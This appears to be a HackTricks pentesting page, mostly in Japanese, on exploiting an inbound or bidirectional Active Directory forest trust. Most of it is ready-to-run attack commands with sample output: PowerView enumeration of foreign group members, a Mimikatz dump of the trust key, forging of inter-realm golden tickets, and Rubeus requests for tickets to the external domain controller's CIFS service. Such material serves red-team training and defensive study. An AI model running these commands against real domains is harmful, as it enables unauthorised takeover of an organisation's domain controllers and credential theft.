Japanese - Ht

External Forest Domain - OneWay (Inbound) or bidirectional

HackTricksをサポートする

このシナリオでは、外部ドメインがあなたを信頼している（または両方が互いに信頼している）ため、何らかのアクセスを得ることができます。

列挙

まず最初に、信頼を列挙する必要があります：

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

In the previous enumeration it was found that the user crossuser is inside the External Admins group who has Admin access inside the DC of the external domain.

初期アクセス

もしあなたのユーザーが他のドメインで特別なアクセスを見つけられなかった場合、ADメソドロジーに戻り、特権のないユーザーからの昇格を試みることができます（例えば、kerberoastingなど）：

Powerview関数を使用して、-Domainパラメータを使って他のドメインを列挙することができます。

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
Active Directory Methodology

なりすまし

ログイン

外部ドメインにアクセス権を持つユーザーの資格情報を使用して、通常の方法でアクセスできるはずです:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID履歴の悪用

フォレストトラストを通じてSID履歴を悪用することもできます。

ユーザーがあるフォレストから別のフォレストに移行され、SIDフィルタリングが有効でない場合、他のフォレストからSIDを追加することが可能になり、このSIDはトラストを通じて認証する際にユーザーのトークンに追加されます。

念のため、署名キーを取得することができます。

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

現在のドメインのユーザーを偽装するために、信頼されたキーでTGTに署名することができます。

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

ユーザーを完全に偽装する方法

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
HackTricksをサポートする
PreviousDSRM CredentialsNextExternal Forest Domain - One-Way (Outbound)

Last updated